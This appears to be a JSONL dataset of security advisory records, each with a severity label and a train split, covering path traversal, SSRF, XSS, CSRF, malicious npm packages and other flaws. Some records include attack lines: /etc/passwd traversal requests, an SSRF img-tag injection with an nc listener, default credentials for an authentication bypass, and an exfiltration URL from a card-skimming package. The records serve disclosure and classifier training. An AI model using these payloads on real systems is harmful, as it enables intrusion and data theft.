-{"id": "e08d79600d10f2ece20f", "text": "Unauthorized File Access in atompm\n\nVersions of `atompm` prior to 0.8.2 are vulnerable to Unauthorized File Access. The package fails to sanitize relative paths in the URL for file downloads, allowing attackers to download arbitrary files from the system.\n\n## Recommendation\n\nUpgrade to version 0.8.2 or later.", "text_raw": "Unauthorized File Access in atompm\n\n[Severity: HIGH]\n\nVersions of `atompm` prior to 0.8.2 are vulnerable to Unauthorized File Access. The package fails to sanitize relative paths in the URL for file downloads, allowing attackers to download arbitrary files from the system.\n\n\n## Recommendation\n\nUpgrade to version 0.8.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "c7d8c456dcd86b73541a", "text": "Server-side Request Forgery (SSRF) via img tags in reportlab\n\nAll versions of package reportlab at time of writing are vulnerable to Server-side Request Forgery (SSRF) via img tags. In order to reduce risk, use trustedSchemes & trustedHosts (see in Reportlab's documentation)\n\nSteps to reproduce by Karan Bamal: \n1. Download and install the latest package of reportlab \n2. Go to demos -> odyssey -> dodyssey \n3. In the text file odyssey.txt that needs to be converted to pdf inject `<img src=\"http://127.0.0.1:5000\" valign=\"top\"/>`\n4. Create a nc listener `nc -lp 5000`\n5. Run python3 dodyssey.py \n6. You will get a hit on your nc showing we have successfully proceded to send a server side request \n7. dodyssey.py will show error since there is no img file on the url, but we are able to do SSRF", "text_raw": "Server-side Request Forgery (SSRF) via img tags in reportlab\n\n[Severity: HIGH]\n\nAll versions of package reportlab at time of writing are vulnerable to Server-side Request Forgery (SSRF) via img tags. In order to reduce risk, use trustedSchemes & trustedHosts (see in Reportlab's documentation) \n\nSteps to reproduce by Karan Bamal: \n1. Download and install the latest package of reportlab \n2. Go to demos -> odyssey -> dodyssey \n3. In the text file odyssey.txt that needs to be converted to pdf inject `<img src=\"http://127.0.0.1:5000\" valign=\"top\"/>`\n4. Create a nc listener `nc -lp 5000`\n5. Run python3 dodyssey.py \n6. You will get a hit on your nc showing we have successfully proceded to send a server side request \n7. dodyssey.py will show error since there is no img file on the url, but we are able to do SSRF", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "addfa5aab84a9b1b1639", "text": "actionpack Cross-Site Request Forgery vulnerability\n\nRuby on Rails 2.1.x, 2.2.x, and 2.3.x before 2.3.11, and 3.x before 3.0.4, does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged (1) AJAX or (2) API requests that leverage \"combinations of browser plugins and HTTP redirects,\" a related issue to CVE-2011-0696.", "text_raw": "actionpack Cross-Site Request Forgery vulnerability\n\n[Severity: MEDIUM]\n\nRuby on Rails 2.1.x, 2.2.x, and 2.3.x before 2.3.11, and 3.x before 3.0.4, does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged (1) AJAX or (2) API requests that leverage \"combinations of browser plugins and HTTP redirects,\" a related issue to CVE-2011-0696.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "dcf97259f5c66d4e26d0", "text": "Malicious Package in scroool\n\nVersion 0.1.7 of `scroool` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.6", "text_raw": "Malicious Package in scroool\n\n[Severity: CRITICAL]\n\nVersion 0.1.7 of `scroool` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.6", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "30a45f119bf165df7fc7", "text": "Observable Timing Discrepancy in OpenMage LTS\n\n### Impact\nThis vulnerability allows to circumvent the **formkey protection** in the Admin Interface and increases the attack surface for  **Cross Site Request Forgery** attacks\n\n### Patches\nThe latest OpenMage Versions up from 19.4.6 and 20.0.2 have this Issue solved\n\n### References\nRelated to Adobes CVE-2020-9690 ( https://helpx.adobe.com/security/products/magento/apsb20-47.html )\nfixed in Magento2 https://github.com/magento/magento2/commit/52d72b8010c9cecb5b8e3d98ec5edc1ddcc65fb4\nas part of 2.4.0/2.3.5-p2", "text_raw": "Observable Timing Discrepancy in OpenMage LTS\n\n[Severity: HIGH]\n\n### Impact\nThis vulnerability allows to circumvent the **formkey protection** in the Admin Interface and increases the attack surface for  **Cross Site Request Forgery** attacks \n\n### Patches\nThe latest OpenMage Versions up from 19.4.6 and 20.0.2 have this Issue solved\n\n\n### References\nRelated to Adobes CVE-2020-9690 ( https://helpx.adobe.com/security/products/magento/apsb20-47.html )\nfixed in Magento2 https://github.com/magento/magento2/commit/52d72b8010c9cecb5b8e3d98ec5edc1ddcc65fb4\nas part of 2.4.0/2.3.5-p2", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "a65313ffdec159730a39", "text": "Directory Traversal in weather.swlyons\n\nAffected versions of `weather.swlyons` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in weather.swlyons\n\n[Severity: HIGH]\n\nAffected versions of `weather.swlyons` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8b3c38d3521560f08b0b", "text": "Directory Traversal in http_static_simple\n\nAffected versions of `http_static_simple` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in http_static_simple\n\n[Severity: HIGH]\n\nAffected versions of `http_static_simple` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "604a56282c76627a7ece", "text": "Apostrophe CMS Insufficient Session Expiration vulnerability\n\nApostrophe CMS versions between 2.63.0 to 3.3.1 affected by an insufficient session expiration vulnerability, which allows unauthenticated remote attackers to hijack recently logged-in users' sessions. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session.", "text_raw": " Apostrophe CMS Insufficient Session Expiration vulnerability\n\n[Severity: CRITICAL]\n\nApostrophe CMS versions between 2.63.0 to 3.3.1 affected by an insufficient session expiration vulnerability, which allows unauthenticated remote attackers to hijack recently logged-in users' sessions. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "8f2195235fa6ba69744a", "text": "Sensitive Data Exposure in rails-session-decoder\n\nAll versions of `rails-session-decoder` are missing verification of the Message Authentication Code appended to the cookies. This may lead to decryption of cipher text thus exposing encrypted information.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Sensitive Data Exposure in rails-session-decoder\n\n[Severity: HIGH]\n\nAll versions of `rails-session-decoder` are missing verification of the Message Authentication Code appended to the cookies. This may lead to decryption of cipher text thus exposing encrypted information.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "b4389ca4eb52a0c076bd", "text": "Ecessa WANWorx WVR-30 10.7.4 CSRF Add Superuser Exploit", "text_raw": "Ecessa WANWorx WVR-30 10.7.4 CSRF Add Superuser Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-06-24", "split": "train"}
-{"id": "eff8cb6dcf41a692f384", "text": "Cross-site scripting in application/controllers/dropbox.php in JustWriting\n\nCross-site scripting (XSS) vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.", "text_raw": "Cross-site scripting in application/controllers/dropbox.php in JustWriting\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "d762c911be44fe2816ed", "text": "Teradek VidiU Pro 3.0.3 SSRF Vulnerability", "text_raw": "Teradek VidiU Pro 3.0.3 SSRF Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "233fe862fd839d754175", "text": "AbanteCart 1.1.3 (index.php) Multiple Reflected XSS Vulnerabilities", "text_raw": "AbanteCart 1.1.3 (index.php) Multiple Reflected XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-02-13", "split": "train"}
-{"id": "d63936035fc8e1bcca11", "text": "DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability\n\nAffected: DotNetNuke (DNN) DotNetNuke (DNN)\n\nDotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters. This CVE ID resolves an incomplete patch for CVE-2018-15811.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-326\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability\n\nAffected: DotNetNuke (DNN) DotNetNuke (DNN)\n\nDotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters. This CVE ID resolves an incomplete patch for CVE-2018-15811.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-326\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "418fa31624929b2508ff", "text": "Using JS libraries with known security vulnerabilities\n\nAn insecure component vulnerability exists in Magento 2.1 prior to 2.1.19, Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3. Magento 2 codebase leveraged outdated versions of JS libraries (Bootstrap, jquery, Knockout) with known security vulnerabilities.", "text_raw": "Using JS libraries with known security vulnerabilities\n\n[Severity: HIGH]\n\nAn insecure component vulnerability exists in Magento 2.1 prior to 2.1.19, Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3. Magento 2 codebase leveraged outdated versions of JS libraries (Bootstrap, jquery, Knockout) with known security vulnerabilities.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "284ef0d6506c5818dcbe", "text": "Double free in smallvec\n\nIf an iterator passed to SmallVec::insert_many panicked in Iterator::next, destructors were run during unwinding while the vector was in an inconsistent state, possibly causing a double free (a destructor running on two copies of the same value).\n\nThis is fixed in smallvec 0.6.3 by ensuring that the vector's length is not updated to include moved items until they have been removed from their original positions. Items may now be leaked if Iterator::next panics, but they will not be dropped more than once.", "text_raw": "Double free in smallvec\n\n[Severity: CRITICAL]\n\nIf an iterator passed to SmallVec::insert_many panicked in Iterator::next, destructors were run during unwinding while the vector was in an inconsistent state, possibly causing a double free (a destructor running on two copies of the same value).\n\nThis is fixed in smallvec 0.6.3 by ensuring that the vector's length is not updated to include moved items until they have been removed from their original positions. Items may now be leaked if Iterator::next panics, but they will not be dropped more than once.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1521df9a5ba647d5568a", "text": "Family Connections CMS 2.3.2 (POST) Stored XSS And XML Injection", "text_raw": "Family Connections CMS 2.3.2 (POST) Stored XSS And XML Injection\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-03-25", "split": "train"}
-{"id": "c48460fe17e526bf025e", "text": "Windu CMS 2.2 CSRF Add Admin Exploit", "text_raw": "Windu CMS 2.2 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-07-24", "split": "train"}
-{"id": "30ad86c4d87632035579", "text": "Downloads Resources over HTTP in webdrvr\n\nAffected versions of `webdrvr` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `webdrvr`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in webdrvr\n\n[Severity: HIGH]\n\nAffected versions of `webdrvr` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `webdrvr`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "e1f6ab52f31af341b2ec", "text": "gfe-sass downloads Resources over HTTP\n\nAffected versions of `gfe-sass` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `gfe-sass`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "gfe-sass downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `gfe-sass` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `gfe-sass`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "0ec4448c9a8153ac3df8", "text": "Docsify XSS Vulnerability\n\nThis affects the package docsify before 4.12.0. It is possible to bypass the remediation done by CVE-2020-7680 and execute malicious JavaScript through the following methods 1) When parsing HTML from remote URLs, the HTML code on the main page is sanitized, but this sanitization is not taking place in the sidebar. 2) The isURL external check can be bypassed by inserting more `////` characters", "text_raw": "Docsify XSS Vulnerability\n\n[Severity: MEDIUM]\n\nThis affects the package docsify before 4.12.0. It is possible to bypass the remediation done by CVE-2020-7680 and execute malicious JavaScript through the following methods 1) When parsing HTML from remote URLs, the HTML code on the main page is sanitized, but this sanitization is not taking place in the sidebar. 2) The isURL external check can be bypassed by inserting more `////` characters", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-01", "split": "train"}
-{"id": "e20099818530c8acc4d7", "text": "### Logs password in plaintext\n\n### Impact\n\nLogs the password used in plaintext.  The password should masked in logs to prevent it leaking.\n\n### Patches\r\nHas the problem been patched? What versions should users upgrade to?\n\n### Workarounds\r\nnone\n\n### See also\r\nAre there any links users can visit to find out more information?\n\n#### Package Ecosystem\r\nRubyGems\n\n#### Package Name\r\nmany_versioned_gem\n\n#### Affected Versions\r\n< 0.2.2\n\n#### Patches\r\n0.2.3", "text_raw": "High severity vulnerability that affects many_versioned_gem\n\n[Severity: HIGH]\n\n### Logs password in plaintext\r\n\r\n### Impact\r\n\r\nLogs the password used in plaintext.  The password should masked in logs to prevent it leaking.\r\n\r\n### Patches\r\nHas the problem been patched? What versions should users upgrade to?\r\n\r\n### Workarounds\r\nnone\r\n\r\n### See also\r\nAre there any links users can visit to find out more information?\r\n\r\n\r\n#### Package Ecosystem\r\nRubyGems\r\n\r\n#### Package Name\r\nmany_versioned_gem\r\n\r\n#### Affected Versions\r\n< 0.2.2\r\n\r\n#### Patches\r\n0.2.3", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-05", "split": "train"}
-{"id": "23f0b8e3ac7136598084", "text": "Cross-site Scripting in pekeupload\n\nThis affects all versions of package pekeupload. If an attacker induces a user to upload a file whose name contains javascript code, the javascript code will be executed.", "text_raw": "Cross-site Scripting in pekeupload\n\n[Severity: MEDIUM]\n\nThis affects all versions of package pekeupload. If an attacker induces a user to upload a file whose name contains javascript code, the javascript code will be executed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "008b9fcff9f5631ee8a0", "text": "Authentication bypass in MAGMI\n\nMAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure. A remote attacker can trigger this connection failure if the Mysql setting max_connections (default 151) is lower than Apache (or another web server) setting MaxRequestWorkers (formerly MaxClients) (default 256). This can be done by sending at least 151 simultaneous requests to the Magento website to trigger a \"Too many connections\" error, then use default magmi:magmi basic authentication to remotely bypass authentication.", "text_raw": "Authentication bypass in MAGMI\n\n[Severity: CRITICAL]\n\nMAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure. A remote attacker can trigger this connection failure if the Mysql setting max_connections (default 151) is lower than Apache (or another web server) setting MaxRequestWorkers (formerly MaxClients) (default 256). This can be done by sending at least 151 simultaneous requests to the Magento website to trigger a \"Too many connections\" error, then use default magmi:magmi basic authentication to remotely bypass authentication.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "46189c5847e04ae7c67f", "text": "smallvec creates uninitialized value of any type\n\nAffected versions of this crate called `mem::uninitialized()` to create values of a user-supplied type `T`.\nThis is unsound e.g. if `T` is a reference type (which must be non-null and thus may not remain uninitialized).\n\nThe flaw was corrected by avoiding the use of `mem::uninitialized()`, using `MaybeUninit` instead.", "text_raw": "smallvec creates uninitialized value of any type\n\n[Severity: MEDIUM]\n\nAffected versions of this crate called `mem::uninitialized()` to create values of a user-supplied type `T`.\nThis is unsound e.g. if `T` is a reference type (which must be non-null and thus may not remain uninitialized).\n \nThe flaw was corrected by avoiding the use of `mem::uninitialized()`, using `MaybeUninit` instead.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5ade755c411d48426c57", "text": "dot-prop Prototype Pollution vulnerability\n\nPrototype pollution vulnerability in dot-prop npm package versions before 4.2.1 and versions 5.x before 5.1.1 allows an attacker to add arbitrary properties to JavaScript language constructs such as objects.", "text_raw": "dot-prop Prototype Pollution vulnerability\n\n[Severity: HIGH]\n\nPrototype pollution vulnerability in dot-prop npm package versions before 4.2.1 and versions 5.x before 5.1.1 allows an attacker to add arbitrary properties to JavaScript language constructs such as objects.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "bcdc2a572e58f9e68f79", "text": "Network policy may be bypassed by some ICMP Echo Requests\n\n## Impact\n\nUnder certain conditions, ICMP Echo Request sent to a Cilium endpoint from an actor may bypass a network policy which _disallows_ access from the actor to the endpoint, but _allows_ from the endpoint to the actor. This does _NOT_ apply to UDP and TCP traffic.\n\nThe actor is either a pod or a cluster host or a remote host.\n\nThe following conditions must be met:\n1. Network policies have been created which:\n  a) do not allow access from the actor to the endpoint;\n  b) allow access from the endpoint to the actor and does not specify neither protocol nor port. \n2. The endpoint has sent ICMP Echo Request to the actor with the ICMP identifier X.\n3. The actor sends ICMP Echo Request to the endpoint with the same ICMP identifier X.\n4. The request from the actor (3.) is sent before the Cilium's conntrack GC has removed the previously created conntrack entry (2.).\n\n## Detailed description\n\nSee https://github.com/cilium/cilium/commit/dfb008a9099c4da1e0fd964c899c43ee13280b0e (v1.9.x), https://github.com/cilium/cilium/commit/ff6ebae6efca1bd991302b464dea428512823e79 (v1.8.x), https://github.com/cilium/cilium/commit/472bbeff75161979c317ab21d563f826291b5f37 (v1.7.x).\n\n## Example\n\n```\n$ kubectl run server --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600\n$ kubectl run client --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600\n$ cat <<EOF | kubectl apply -f\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: server-netpol # allow client->server\nspec:\n  podSelector:\n    matchLabels:\n      run: server\n  ingress:\n  - from:\n    - podSelector:\n        matchLabels:\n          run: client\n  policyTypes:\n  - Ingress\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: client-netpol # deny any->client\nspec:\n  podSelector:\n    matchLabels:\n      run: client\n  policyTypes:\n  - Ingress\nEOF\n\n$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP\nPING 10.154.0.50 (10.154.0.50): 56 data bytes\n^C\n--- 10.154.0.50 ping statistics ---\n1 packets transmitted, 0 packets received, 100% packet loss   <--- \"client-netpol\" policy denied\ncommand terminated with exit code 1\n\n$ kubectl exec -ti client -- xping -c1 -x666 $SERVER_POD_IP\nPING 10.154.1.16 (10.154.1.16): 56 data bytes\n64 bytes from 10.154.1.16: seq=0 ttl=60 time=0.822 ms\n\n--- 10.154.1.16 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss   <--- \"server-netpol\" policy allowed\nround-trip min/avg/max = 0.822/0.822/0.822 ms\n\n$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP\nPING 10.154.0.50 (10.154.0.50): 56 data bytes\n64 bytes from 10.154.0.50: seq=0 ttl=60 time=0.527 ms\n\n--- 10.154.0.50 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss   <--- \"client-netpol\" policy bypassed\nround-trip min/avg/max = 0.527/0.527/0.527 ms\n```\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Cilium Issues](https://github.com/cilium/cilium/issues)\n- Email us at security@cilium.io", "text_raw": "Network policy may be bypassed by some ICMP Echo Requests\n\n[Severity: LOW]\n\n## Impact\n\nUnder certain conditions, ICMP Echo Request sent to a Cilium endpoint from an actor may bypass a network policy which _disallows_ access from the actor to the endpoint, but _allows_ from the endpoint to the actor. This does _NOT_ apply to UDP and TCP traffic.\n\nThe actor is either a pod or a cluster host or a remote host.\n\nThe following conditions must be met:\n1. Network policies have been created which:\n  a) do not allow access from the actor to the endpoint;\n  b) allow access from the endpoint to the actor and does not specify neither protocol nor port. \n2. The endpoint has sent ICMP Echo Request to the actor with the ICMP identifier X.\n3. The actor sends ICMP Echo Request to the endpoint with the same ICMP identifier X.\n4. The request from the actor (3.) is sent before the Cilium's conntrack GC has removed the previously created conntrack entry (2.).\n\n## Detailed description\n\nSee https://github.com/cilium/cilium/commit/dfb008a9099c4da1e0fd964c899c43ee13280b0e (v1.9.x), https://github.com/cilium/cilium/commit/ff6ebae6efca1bd991302b464dea428512823e79 (v1.8.x), https://github.com/cilium/cilium/commit/472bbeff75161979c317ab21d563f826291b5f37 (v1.7.x).\n\n## Example\n\n```\n$ kubectl run server --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600\n$ kubectl run client --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600\n$ cat <<EOF | kubectl apply -f\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: server-netpol # allow client->server\nspec:\n  podSelector:\n    matchLabels:\n      run: server\n  ingress:\n  - from:\n    - podSelector:\n        matchLabels:\n          run: client\n  policyTypes:\n  - Ingress\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: client-netpol # deny any->client\nspec:\n  podSelector:\n    matchLabels:\n      run: client\n  policyTypes:\n  - Ingress\nEOF\n\n$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP\nPING 10.154.0.50 (10.154.0.50): 56 data bytes\n^C\n--- 10.154.0.50 ping statistics ---\n1 packets transmitted, 0 packets received, 100% packet loss   <--- \"client-netpol\" policy denied\ncommand terminated with exit code 1\n\n$ kubectl exec -ti client -- xping -c1 -x666 $SERVER_POD_IP\nPING 10.154.1.16 (10.154.1.16): 56 data bytes\n64 bytes from 10.154.1.16: seq=0 ttl=60 time=0.822 ms\n\n--- 10.154.1.16 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss   <--- \"server-netpol\" policy allowed\nround-trip min/avg/max = 0.822/0.822/0.822 ms\n\n$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP\nPING 10.154.0.50 (10.154.0.50): 56 data bytes\n64 bytes from 10.154.0.50: seq=0 ttl=60 time=0.527 ms\n\n--- 10.154.0.50 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss   <--- \"client-netpol\" policy bypassed\nround-trip min/avg/max = 0.527/0.527/0.527 ms\n```\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Cilium Issues](https://github.com/cilium/cilium/issues)\n- Email us at security@cilium.io", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "4d518965715890c5c21a", "text": "Denial of Service vulnerability with large JSON payloads in fastify\n\nAffected versions of `fastify` are vulnerable to a denial of service when processing a request with `Content-Type` set to `application/json` and a very large payload.\n\n## Recommendation\n\nUpdate to version 0.38.0 or later.", "text_raw": "Denial of Service vulnerability with large JSON payloads in fastify\n\n[Severity: HIGH]\n\nAffected versions of `fastify` are vulnerable to a denial of service when processing a request with `Content-Type` set to `application/json` and a very large payload.\n\n\n## Recommendation\n\nUpdate to version 0.38.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "618d929ed24f41087757", "text": "Apache ActiveMQ Artemis vulnerable to Improper Access Control\n\nWhile investigating ARTEMIS-2964 it was found that the creation of advisory messages in the OpenWire protocol head of Apache ActiveMQ Artemis 2.15.0 bypassed policy based access control for the entire session. Production of advisory messages was not subject to access control in error.", "text_raw": "Apache ActiveMQ Artemis vulnerable to Improper Access Control\n\n[Severity: HIGH]\n\nWhile investigating ARTEMIS-2964 it was found that the creation of advisory messages in the OpenWire protocol head of Apache ActiveMQ Artemis 2.15.0 bypassed policy based access control for the entire session. Production of advisory messages was not subject to access control in error.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "00472474ca55cce15f50", "text": "Ability to forge per-form CSRF tokens in Rails\n\nIt is possible to, given a global CSRF token such as the one present in the authenticity_token meta tag, forge a per-form CSRF token for any action for that session.\n\nImpact\n------\n\nGiven the ability to extract the global CSRF token, an attacker would be able to construct a per-form CSRF token for that session.\n\nWorkarounds\n-----------", "text_raw": "Ability to forge per-form CSRF tokens in Rails\n\n[Severity: MEDIUM]\n\nIt is possible to, given a global CSRF token such as the one present in the authenticity_token meta tag, forge a per-form CSRF token for any action for that session.\n\nImpact\n------\n\nGiven the ability to extract the global CSRF token, an attacker would be able to construct a per-form CSRF token for that session.\n\nWorkarounds\n-----------\n\nThis is a low-severity security issue. As such, no workaround is necessarily until such time as the application can be upgraded.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-26", "split": "train"}
